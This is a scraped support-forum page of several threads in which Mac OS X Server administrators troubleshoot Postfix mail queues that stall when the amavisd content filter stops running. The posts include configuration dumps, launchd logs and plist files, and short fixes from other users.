Mail queue filling up - Delivery Temporarily Suspended Connection Refused
About 2 hours ago we stopped getting any email from our server. The mail queue is filling up. If I click on one of the messages in queue, it gives me a message of "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: connection refused".
What happened????
Thanks,
Robert
My configuration was running fine for months but suddenly every night amavisd stops running (I suppose after mailbfr ran). I have to launch amavisd manually with +sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist+ every day.
Maybe something is wrong with my org.amavis.amavisd.plist? Here is it:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.amavis.amavisd</string>
<key>OnDemand</key>
<false/>
<key>Program</key>
<string>/usr/bin/amavisd</string>
<key>ProgramArguments</key>
<array>
<string>amavisd</string>
<string>foreground</string>
</array>
<key>ServiceIPC</key>
<false/>
<key>UserName</key>
<string>_amavisd</string>
</dict>
</plist>
Similar Messages
-
All in mail in or out is sitting in the queue. I have restarted the mail server and also the entire xserve box.
Hardware Overview:
Machine Name: Xserve G5
Machine Model: RackMac3,1
CPU Type: PowerPC G5 (3.1)
Number Of CPUs: 2
CPU Speed: 2.3 GHz
L2 Cache (per CPU): 512 KB
Memory: 1 GB
Bus Speed: 1.15 GHz
Boot ROM Version: 5.1.7f2
Server Version: Mac OS X Server 10.4.10 (Build 8R218)
No matter who sends or is going to receive the email I get the following message in the queue:
delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused
here is the config
ns1:~ administrator$ postconf -n
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
localrecipientmaps = proxy:unix:passwd.byname $alias_maps
luser_relay =
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
messagesizelimit = 52428800
mydestination = $myhostname,localhost.$mydomain,ms1.rigginsconst.com,ms1.rigginsconstruction.co m,rigginsconst.com,rigginsconstructions.com,mail.rigginsconst.com
mydomain = rigginsconst.com
mydomain_fallback = localhost
myhostname = rigginsconst.com
mynetworks = 67.94.43.194,64.208.56.97,216.237.12.146,66.162.217.99,66.162.217.100,66.162.21 7.101,66.92.226.25,208.254.27.248,194.133.15.69,66.249.2.114,64.34.161.7,74.7.73 .178,74.7.73.179,74.7.73.180,69.162.84.11,216.237.12.147,66.92.226.26,66.92.226. 27,66.92.226.28,66.92.226.29,66.92.226.30,208.254.27.249,208.254.27.250,208.254. 27.251,66.249.2.115,66.249.2.116,66.249.2.117,66.249.2.118,74.7.73.181,74.7.73.1 82,74.7.73.183,74.7.73.184,127.0.0.1,74.7.73.189,74.7.73.190
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdpw_server_securityoptions = login,plain,gssapi,cram-md5
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_keyfile =
smtpduse_pwserver = yes
unknownlocal_recipient_rejectcode = 550
virtualmailboxdomains =
virtual_transport = virtual
ns1:~ administrator$
if I try
sudo launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist
as was pointed out in another post, the mail log shows:
Oct 19 14:46:20 ns1 sudo: administrator : TTY=ttyp1 ; PWD=/Users/administrator ; USER=root ; COMMAND=/bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist
Oct 19 14:46:21 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:46:21 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:46:21 ns1 launchd: org.amavis.amavisd: 9 more failures without living at least 60 seconds will cause job removal
Oct 19 14:46:21 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:46:29 ns1 sudo: root : TTY=unknown ; PWD=/ ; USER=cyrusimap ; COMMAND=/usr/bin/cyrus/bin/cyrus-quota -r
Oct 19 14:46:31 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:46:31 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:46:31 ns1 launchd: org.amavis.amavisd: 8 more failures without living at least 60 seconds will cause job removal
Oct 19 14:46:31 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:46:41 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:46:41 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:46:41 ns1 launchd: org.amavis.amavisd: 7 more failures without living at least 60 seconds will cause job removal
Oct 19 14:46:41 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:46:50 ns1 pop3[3528]: login: [74.7.73.178] info APOP User logged in
Oct 19 14:46:50 ns1 pop3[3527]: login: [74.7.73.178] kimiko APOP User logged in
Oct 19 14:46:52 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:46:52 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:46:52 ns1 launchd: org.amavis.amavisd: 6 more failures without living at least 60 seconds will cause job removal
Oct 19 14:46:52 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:47:02 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:47:02 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:47:02 ns1 launchd: org.amavis.amavisd: 5 more failures without living at least 60 seconds will cause job removal
Oct 19 14:47:02 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:47:13 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:47:13 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:47:13 ns1 launchd: org.amavis.amavisd: 4 more failures without living at least 60 seconds will cause job removal
Oct 19 14:47:13 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:47:23 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:47:23 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:47:23 ns1 launchd: org.amavis.amavisd: 3 more failures without living at least 60 seconds will cause job removal
Oct 19 14:47:23 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:47:32 ns1 sudo: root : TTY=unknown ; PWD=/ ; USER=cyrusimap ; COMMAND=/usr/bin/cyrus/bin/cyrus-quota -r
Oct 19 14:47:34 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:47:34 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:47:34 ns1 launchd: org.amavis.amavisd: 2 more failures without living at least 60 seconds will cause job removal
Oct 19 14:47:34 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:47:44 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:47:44 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:47:44 ns1 launchd: org.amavis.amavisd: 1 more failure without living at least 60 seconds will cause job removal
Oct 19 14:47:44 ns1 launchd: org.amavis.amavisd: will restart in 10 seconds
Oct 19 14:47:50 ns1 pop3[3528]: login: [74.7.73.178] info APOP User logged in
Oct 19 14:47:50 ns1 pop3[3528]: login: [74.7.73.178] kimiko APOP User logged in
Oct 19 14:47:54 ns1 launchd: org.amavis.amavisd: exited with exit code: 255
Oct 19 14:47:54 ns1 launchd: org.amavis.amavisd: respawning too quickly! throttling
Oct 19 14:47:54 ns1 launchd: org.amavis.amavisd: too many failures in succession
Oct 19 14:48:01 ns1 postfix/smtpd[3591]: auxpropfunc error no mechanism available\n
Where to go from here?you can clear your queue by temporarily disabling the content filter.
once you catch your breath, take a look at amavisd.log when you issue:
sudo launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist
The problem may be revealed down to the line#.
-or-
revert to a previous version of amavisd.conf
Jeff -
Mail queue filling up, delivery real slow
mail server is: 10.4.2 running on a dual 2 GHz Xserve 1 gig RAM
2 hard drives. 1 boot, 1 mail store
my mail queue is filling up with messages that can't be delivered. bad address usually. not sure why they make into the queue in the first place.
The queue reaches as high a 7000+ messages.
This is really killing my server. Can anyone shed some light??
here is postconf output:
2bounce_notice_recipient = postmaster
access_map_reject_code = 554
address_verify_default_transport = $default_transport
address_verify_local_transport = $local_transport
address_verify_map =
address_verify_negative_cache = yes
address_verify_negative_expire_time = 3d
address_verify_negative_refresh_time = 3h
address_verify_poll_count = 3
address_verify_poll_delay = 3s
address_verify_positive_expire_time = 31d
address_verify_positive_refresh_time = 7d
address_verify_relay_transport = $relay_transport
address_verify_relayhost = $relayhost
address_verify_sender = postmaster
address_verify_service_name = verify
address_verify_transport_maps = $transport_maps
address_verify_virtual_transport = $virtual_transport
alias_database = hash:/etc/aliases
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
allow_mail_to_commands = alias, forward
allow_mail_to_files = alias, forward
allow_min_user = no
allow_percent_hack = yes
allow_untrusted_routing = no
alternate_config_directories =
always_bcc =
append_at_myorigin = yes
append_dot_mydomain = yes
application_event_drain_time = 100s
backwards_bounce_logfile_compatibility = yes
berkeley_db_create_buffer_size = 16777216
berkeley_db_read_buffer_size = 131072
best_mx_transport =
biff = yes
body_checks =
body_checks_size_limit = 51200
bounce_notice_recipient = postmaster
bounce_queue_lifetime = 5d
bounce_service_name = bounce
bounce_size_limit = 50000
broken_sasl_auth_clients = no
canonical_maps =
cleanup_service_name = cleanup
command_directory = /usr/sbin
command_expansion_filter = 1234567890!@%-_=+:,./abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
command_time_limit = 1000s
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
daemon_timeout = 18000s
debug_peer_level = 2
debug_peer_list =
default_database_type = hash
default_delivery_slot_cost = 5
default_delivery_slot_discount = 50
default_delivery_slot_loan = 3
default_destination_concurrency_limit = 6
default_destination_recipient_limit = 50
default_extra_recipient_limit = 1000
default_minimum_delivery_slots = 3
default_privs = nobody
default_process_limit = 20
default_rbl_reply = $rbl_code Service unavailable; $rbl_class [$rbl_what] blocked using $rbl_domain${rbl_reason?; $rbl_reason}
default_recipient_limit = 10000
default_transport = smtp
default_verp_delimiters = +=
defer_code = 450
defer_service_name = defer
defer_transports =
delay_notice_recipient = postmaster
delay_warning_time = 0h
deliver_lock_attempts = 20
deliver_lock_delay = 1s
disable_dns_lookups = no
disable_mime_input_processing = no
disable_mime_output_conversion = no
disable_verp_bounces = no
disable_vrfy_command = no
dont_remove = 0
double_bounce_sender = double-bounce
duplicate_filter_limit = 1000
empty_address_recipient = MAILER-DAEMON
enable_errors_to = no
enable_original_recipient = yes
enable_server_options = yes
error_notice_recipient = postmaster
error_service_name = error
expand_owner_alias = no
export_environment = TZ MAIL_CONFIG
fallback_relay =
fallback_transport =
fast_flush_domains = $relay_domains
fast_flush_purge_time = 7d
fast_flush_refresh_time = 12h
fault_injection_code = 0
flush_service_name = flush
fork_attempts = 5
fork_delay = 1s
forward_expansion_filter = 1234567890!@%-_=+:,./abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
forward_path = $home/.forward${recipient_delimiter}${extension}, $home/.forward
hash_queue_depth = 1
hash_queue_names = incoming, active, deferred, bounce, defer, flush, hold, trace
header_address_token_limit = 10240
header_checks =
header_size_limit = 102400
helpful_warnings = yes
home_mailbox =
hopcount_limit = 50
html_directory = no
ignore_mx_lookup_error = no
import_environment = MAIL_CONFIG MAIL_DEBUG MAIL_LOGTAG TZ XAUTHORITY DISPLAY
in_flow_delay = 1s
inet_interfaces = all
initial_destination_concurrency = 4
invalid_hostname_reject_code = 501
ipc_idle = 100s
ipc_timeout = 3600s
ipc_ttl = 1000s
line_length_limit = 2048
lmtp_cache_connection = yes
lmtp_connect_timeout = 0s
lmtp_data_done_timeout = 600s
lmtp_data_init_timeout = 120s
lmtp_data_xfer_timeout = 180s
lmtp_destination_concurrency_limit = $default_destination_concurrency_limit
lmtp_destination_recipient_limit = $default_destination_recipient_limit
lmtp_lhlo_timeout = 300s
lmtp_mail_timeout = 300s
lmtp_quit_timeout = 300s
lmtp_rcpt_timeout = 300s
lmtp_rset_timeout = 120s
lmtp_sasl_auth_enable = no
lmtp_sasl_password_maps =
lmtp_sasl_security_options = noplaintext, noanonymous
lmtp_send_xforward_command = no
lmtp_skip_quit_response = no
lmtp_tcp_port = 24
lmtp_xforward_timeout = 300s
local_command_shell =
local_destination_concurrency_limit = 2
local_destination_recipient_limit = 1
local_recipient_maps =
local_transport = local:$myhostname
luser_relay = emailadmin
mail_name = Postfix
mail_owner = postfix
mail_release_date = 20040915
mail_spool_directory = /var/mail
mail_version = 2.1.5
mailbox_command =
mailbox_command_maps =
mailbox_delivery_lock = flock
mailbox_size_limit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
maps_rbl_domains =
maps_rbl_reject_code = 554
masquerade_classes = envelope_sender, header_sender, header_recipient
masquerade_domains =
masquerade_exceptions =
max_idle = 100s
max_use = 100
maximal_backoff_time = 2700s
maximal_queue_lifetime = 36h
message_size_limit = 16777216
mime_boundary_length_limit = 2048
mime_header_checks = $header_checks
mime_nesting_limit = 100
minimal_backoff_time = 900s
multi_recipient_bounce_reject_code = 550
mydestination = $myhostname,localhost.$mydomain,myDomain.com,mail.myDomain.com
mydomain = myDomain.com
mydomain_fallback = localhost
myhostname = myDomain.com
mynetworks = 127.0.0.1/32,10.0.0.0/24,10.0.8.0/24,10.0.1.0/24
mynetworks_style = host
myorigin = $myhostname
nested_header_checks = $header_checks
newaliases_path = /usr/bin/newaliases
non_fqdn_reject_code = 504
notify_classes = resource, software
owner_request_special = no
parent_domain_matches_subdomains = debug_peer_list,fast_flush_domains,mynetworks,permit_mx_backup_networks,qmqpd_a uthorized_clients,relay_domains,smtpd_access_maps
permit_mx_backup_networks =
pickup_service_name = pickup
prepend_delivered_header = command, file, forward
process_id_directory = pid
propagate_unmatched_extensions = canonical, virtual
proxy_interfaces =
proxy_read_maps = $local_recipient_maps $mydestination $virtual_alias_maps $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps $relocated_maps $transport_maps $mynetworks
qmgr_clog_warn_time = 300s
qmgr_fudge_factor = 100
qmgr_message_active_limit = 20000
qmgr_message_recipient_limit = 20000
qmgr_message_recipient_minimum = 10
qmqpd_authorized_clients =
qmqpd_error_delay = 1s
qmqpd_timeout = 300s
queue_directory = /private/var/spool/postfix
queue_file_attribute_count_limit = 100
queue_minfree = 0
queue_run_delay = 900s
queue_service_name = qmgr
rbl_reply_maps =
readme_directory = /usr/share/doc/postfix
receive_override_options =
recipient_bcc_maps =
recipient_canonical_maps =
recipient_delimiter = +
reject_code = 554
relay_clientcerts =
relay_destination_concurrency_limit = $default_destination_concurrency_limit
relay_destination_recipient_limit = $default_destination_recipient_limit
relay_domains = $mydestination
relay_domains_reject_code = 554
relay_recipient_maps =
relay_transport = relay
relayhost =
relocated_maps =
require_home_directory = no
resolve_dequoted_address = yes
resolve_null_domain = no
rewrite_service_name = rewrite
sample_directory = /usr/share/doc/postfix/examples
sender_based_routing = no
sender_bcc_maps =
sender_canonical_maps =
sendmail_path = /usr/sbin/sendmail
service_throttle_time = 60s
setgid_group = postdrop
show_user_unknown_table_name = yes
showq_service_name = showq
smtp_always_send_ehlo = yes
smtp_bind_address =
smtp_connect_timeout = 30s
smtp_data_done_timeout = 600s
smtp_data_init_timeout = 120s
smtp_data_xfer_timeout = 180s
smtp_defer_if_no_mx_address_found = no
smtp_destination_concurrency_limit = $default_destination_concurrency_limit
smtp_destination_recipient_limit = $default_destination_recipient_limit
smtp_enforce_tls = no
smtp_helo_name = $myhostname
smtp_helo_timeout = 300s
smtp_host_lookup = dns
smtp_line_length_limit = 990
smtp_mail_timeout = 300s
smtp_mx_address_limit = 0
smtp_mx_session_limit = 2
smtp_never_send_ehlo = no
smtp_pix_workaround_delay_time = 10s
smtp_pix_workaround_threshold_time = 500s
smtp_quit_timeout = 300s
smtp_quote_rfc821_envelope = yes
smtp_randomize_addresses = yes
smtp_rcpt_timeout = 300s
smtp_rset_timeout = 120s
smtp_sasl_auth_enable = no
smtp_sasl_password_maps =
smtp_sasl_security_options = noplaintext, noanonymous
smtp_sasl_tls_security_options = $var_smtp_sasl_opts
smtp_sasl_tls_verified_security_options = $var_smtp_sasl_tls_opts
smtp_send_xforward_command = no
smtp_skip_5xx_greeting = yes
smtp_skip_quit_response = yes
smtp_starttls_timeout = 300s
smtp_tls_CAfile =
smtp_tls_CApath =
smtp_tls_cert_file =
smtp_tls_cipherlist =
smtp_tls_dcert_file =
smtp_tls_dkey_file = $smtp_tls_dcert_file
smtp_tls_enforce_peername = yes
smtp_tls_key_file = $smtp_tls_cert_file
smtp_tls_loglevel = 0
smtp_tls_note_starttls_offer = no
smtp_tls_per_site =
smtp_tls_scert_verifydepth = 5
smtp_tls_session_cache_database =
smtp_tls_session_cache_timeout = 3600s
smtp_use_tls = no
smtp_xforward_timeout = 300s
smtpd_authorized_verp_clients = $authorized_verp_clients
smtpd_authorized_xclient_hosts =
smtpd_authorized_xforward_hosts =
smtpd_banner = $myhostname ESMTP $mail_name
smtpd_client_connection_count_limit = 50
smtpd_client_connection_limit_exceptions = $mynetworks
smtpd_client_connection_rate_limit = 0
smtpd_client_restrictions = check_recipient_access hash:/etc/postfix/access, permit_sasl_authenticated, permit_mynetworks, check_sender_access hash:/etc/postfix/whiteList, reject_invalid_hostname, reject_non_fqdn_sender, reject_non_fqdn_recipient, reject_rbl_client dnsbl.njabl.org, reject_rbl_client sbl-xbl.spamhaus.org, reject_rbl_client bl.spamcop.net, reject_rbl_client cbl.abuseat.org
smtpd_data_restrictions =
smtpd_delay_reject = yes
smtpd_enforce_tls = no
smtpd_error_sleep_time = 1s
smtpd_etrn_restrictions =
smtpd_expansion_filter = \t\40!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghi jklmnopqrstuvwxyz{|}~
smtpd_hard_error_limit = 20
smtpd_helo_required = no
smtpd_helo_restrictions =
smtpd_history_flush_threshold = 100
smtpd_junk_command_limit = 100
smtpd_noop_commands =
smtpd_null_access_lookup_key =
smtpd_policy_service_max_idle = 300s
smtpd_policy_service_max_ttl = 1000s
smtpd_policy_service_timeout = 100s
smtpd_proxy_ehlo = $myhostname
smtpd_proxy_filter =
smtpd_proxy_timeout = 100s
smtpd_pw_server_security_options = login,plain,cram-md5,gssapi
smtpd_recipient_limit = 1000
smtpd_recipient_overshoot_limit = 1000
smtpd_recipient_restrictions = check_recipient_access hash:/etc/postfix/access, permit_mynetworks, permit_sasl_authenticated, reject_invalid_hostname, reject_non_fqdn_sender, reject_non_fqdn_recipient, reject_unknown_sender_domain, reject_unauth_destination, check_sender_access hash:/etc/postfix/whiteList
smtpd_reject_unlisted_recipient = yes
smtpd_reject_unlisted_sender = no
smtpd_restriction_classes =
smtpd_sasl_application_name = smtpd
smtpd_sasl_auth_enable = yes
smtpd_sasl_exceptions_networks =
smtpd_sasl_local_domain =
smtpd_sasl_security_options = noanonymous
smtpd_sasl_tls_security_options = $smtpd_sasl_security_options
smtpd_sender_login_maps =
smtpd_sender_restrictions =
smtpd_soft_error_limit = 10
smtpd_starttls_timeout = 300s
smtpd_timeout = 300s
smtpd_tls_CAfile =
smtpd_tls_CApath =
smtpd_tls_ask_ccert = no
smtpd_tls_auth_only = no
smtpd_tls_ccert_verifydepth = 5
smtpd_tls_cert_file = /etc/certificates/mail.myDomain.com.crt
smtpd_tls_cipherlist =
smtpd_tls_dcert_file =
smtpd_tls_dh1024_param_file =
smtpd_tls_dh512_param_file =
smtpd_tls_dkey_file = $smtpd_tls_dcert_file
smtpd_tls_key_file = /etc/certificates/mail.myDomain.com.key
smtpd_tls_loglevel = 2
smtpd_tls_received_header = no
smtpd_tls_req_ccert = no
smtpd_tls_session_cache_database =
smtpd_tls_session_cache_timeout = 3600s
smtpd_tls_wrappermode = no
smtpd_use_pw_server = yes
smtpd_use_tls = yes
soft_bounce = no
stale_lock_time = 500s
strict_7bit_headers = no
strict_8bitmime = no
strict_8bitmime_body = no
strict_mime_encoding_domain = no
strict_rfc821_envelopes = no
sun_mailtool_compatibility = no
swap_bangpath = yes
syslog_facility = mail
syslog_name = postfix
tls_daemon_random_bytes = 32
tls_daemon_random_source =
tls_random_bytes = 32
tls_random_exchange_name = ${config_directory}/prng_exch
tls_random_prng_update_period = 60s
tls_random_reseed_period = 3600s
tls_random_source =
trace_service_name = trace
transport_maps =
transport_retry_time = 60s
trigger_timeout = 10s
undisclosed_recipients_header = To: undisclosed-recipients:;
unknown_address_reject_code = 450
unknown_client_reject_code = 450
unknown_hostname_reject_code = 450
unknown_local_recipient_reject_code = 550
unknown_relay_recipient_reject_code = 550
unknown_virtual_alias_reject_code = 550
unknown_virtual_mailbox_reject_code = 550
unverified_recipient_reject_code = 450
unverified_sender_reject_code = 450
verp_delimiter_filter = -=+
virtual_alias_domains = $virtual_alias_maps
virtual_alias_expansion_limit = 1000
virtual_alias_maps = hash:/etc/postfix/virtual,hash:/var/mailman/data/virtual-mailman
virtual_alias_recursion_limit = 1000
virtual_destination_concurrency_limit = $default_destination_concurrency_limit
virtual_destination_recipient_limit = $default_destination_recipient_limit
virtual_gid_maps =
virtual_mailbox_base =
virtual_mailbox_domains = hash:/etc/postfix/virtual_domains
virtual_mailbox_limit = 51200000
virtual_mailbox_lock = fcntl
virtual_mailbox_maps =
virtual_minimum_uid = 100
virtual_transport = lmtp:unix:/Volumes/Mail/imap/socket/lmtp
virtual_uid_maps =I do have a few Windows clients. They have up to date virus protection but they could very well be infected with some malware. I haven't had the chance to run SpyBot on them.
Sorry for the long postconf output.
I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
Any other ideas are welcome!
Thanks,
Josh
shorter postconf output:
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
always_bcc =
bouncequeuelifetime = 4h
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
defaultdestination_concurrencylimit = 6
defaultprocesslimit = 20
enableserveroptions = yes
inet_interfaces = all
initialdestinationconcurrency = 15
localrecipientmaps =
luser_relay = emailadmin
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
maximalbackofftime = 2700s
maximalqueuelifetime = 36h
messagesizelimit = 16777216
minimalbackofftime = 900s
mydestination = $myhostname,localhost.$mydomain,myDomain.com
mydomain_fallback = localhost
myhostname = thestranger.com
mynetworks = 127.0.0.1/32,10.0.0.0/24,10.0.8.0/24,10.0.1.0/24
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
queuerundelay = 900s
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
relayhost =
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpconnecttimeout = 15s
smtphelotimeout = 30s
smtpdclientrestrictions = checkrecipientaccess hash:/etc/postfix/access, permitsaslauthenticated, permit_mynetworks, checksenderaccess hash:/etc/postfix/whiteList, rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, rejectrblclient dnsbl.njabl.org, rejectrblclient sbl-xbl.spamhaus.org, rejectrblclient bl.spamcop.net, rejectrblclient cbl.abuseat.org
smtpdenforcetls = no
smtpdpw_server_securityoptions = login,plain,cram-md5,gssapi
smtpdrecipientrestrictions = checkrecipientaccess hash:/etc/postfix/access, permit_mynetworks, permitsaslauthenticated, rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, rejectunknown_senderdomain, rejectunauthdestination, checksenderaccess hash:/etc/postfix/whiteList
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/certificates//myDomain.com.crt
smtpdtls_keyfile = /etc/certificates/myDomain.com.key
smtpdtlsloglevel = 2
smtpduse_pwserver = yes
smtpdusetls = yes
unknownlocal_recipient_rejectcode = 550
virtualaliasmaps = hash:/etc/postfix/virtual,hash:/var/mailman/data/virtual-mailman
virtualmailboxdomains = hash:/etc/postfix/virtual_domains
virtual_transport = lmtp:unix:/Volumes/Mail/imap/socket/lmtp -
"status=deferred (delivery temporarily suspended"
I have an Intel Xserve running 10.4.10
Some months ago I upgraded clamav, amavisd-new, spamassassin and squirrel mail using the articles from Alex at http://osx.topicdesk.com/content/category/4/18/62/
(Thanks Alex)
All has been working well.
On Friday night my mail stopped delivering mail to internal recipients with the following in the logs:
status=deferred (delivery temporarily suspended)
All mail was sitting in the queue
I tried a restart on amavisd, but a reboot of the system got it going and retrying all the mail in queue finally dribbled out to end users.
I have come in this morning with the same scenario
Feb 12 08:48:37 fileserver postfix/qmgr[28609]: 0A80620B6E96: to=<[email protected]>, relay=none, delay=-3867, status=deferred (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused)
I was getting moaned at so have done a reboot, which again has cured the issue.
If anyone can give any pointers as what to look for, or what I can do to stop it occurring, logs appear to show that one minute a mail was being handled correctly, the next it isn't.
I have posted machine info below
spamassassin -V
SpamAssassin version 3.2.3
running on Perl version 5.8.6
amavisd -V
amavisd-new-2.5.2 (20070627)
clamscan -V
ClamAV 0.91.1/5779/Mon Feb 11 19:56:48 2008
postconf -n
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
disablevrfycommand = yes
enableserveroptions = yes
html_directory = no
inet_interfaces = all
localrecipientmaps = proxy:unix:passwd.byname $alias_maps
luser_relay =
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 0
mydestination = $myhostname, localhost.$mydomain, fileserver.company.co.uk, company.co.uk,company.com, company4.co.uk,company4.com, reportwell.co.uk,reportwell.com, company3solutions.co.uk,company3solutions.com company2solutions.co.uk, company2solutions.com
mydomain = company.co.uk
mydomain_fallback = localhost
myhostname = mail.company.co.uk
mynetworks = 127.0.0.1/32,10.1.0.0/16,10.10.1.0/24,192.168.99.0/24,10.12.1.118/32
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
relayhost =
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdclientrestrictions = permitsaslauthenticated, permit_mynetworks, rejectrblclient zen.spamhaus.org, rejectrblclient bl.spamcop.net, permit
smtpddatarestrictions = permit_mynetworks, rejectunauthpipelining, permit
smtpdhelorequired = yes
smtpdhelorestrictions = permitsaslauthenticated, permit_mynetworks, checkheloaccess hash:/etc/postfix/helo_access, rejectnon_fqdnhostname, rejectinvalidhostname, permit
smtpdpw_server_securityoptions = plain
smtpdrecipientrestrictions = rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, permitsaslauthenticated, permit_mynetworks, hash:/etc/postfix/protected_destinations, rejectunauthdestination, rejectunlistedrecipient, hash:/etc/postfix/access, rejectrblclient zen.spamhaus.org, rejectrblclient bl.spamcop.net, permit
smtpdsasl_authenable = yes
smtpdsenderrestrictions = permitsaslauthenticated, permit_mynetworks, rejectnon_fqdnsender, permit
smtpdtls_keyfile =
smtpduse_pwserver = yes
unknownlocal_recipient_rejectcode = 550
I am also not getting my confirmation mails from sa-learn each evening at all.feedback from yesterday.
I use an application called Carbon Copy Cloner that each evening clones my mirrord pair to a "spare".
This was showing some errors during the clone.
I removed the application and schedules. Re-installed and re-configured.
Last night the Clone completed successfully "AND", more importantly, mail did not stop delivering.
I am not saying that was the answer yet, but I have my fingers crossed. -
Status=deferred (delivery temporarily suspended) - Urgent help please
I have a Intel 10.4.10 machine
I have upgraded amavis-new, spamassassin and clamav
After the upgrades I could not send mail with PDF attachments.
I was getting
FAILED: Can't locate object method "binmode" via package "IO::File" at /Library/Perl/5.8.6/MIME/Body.pm line 437. (in reply to end of DATA command
I thought I had missed something so I went through "Updating amavis-new From Alex's Tutorial" (http://osx.topicdesk.com/) again.
Now I am getting status=deferred (delivery temporarily suspended) on all mails
server:/var/log root# amavisd -V
amavisd-new-2.5.2 (20070627)
clamav
Software version from DNS: 0.91.2
WARNING: Your ClamAV installation is OUTDATED!
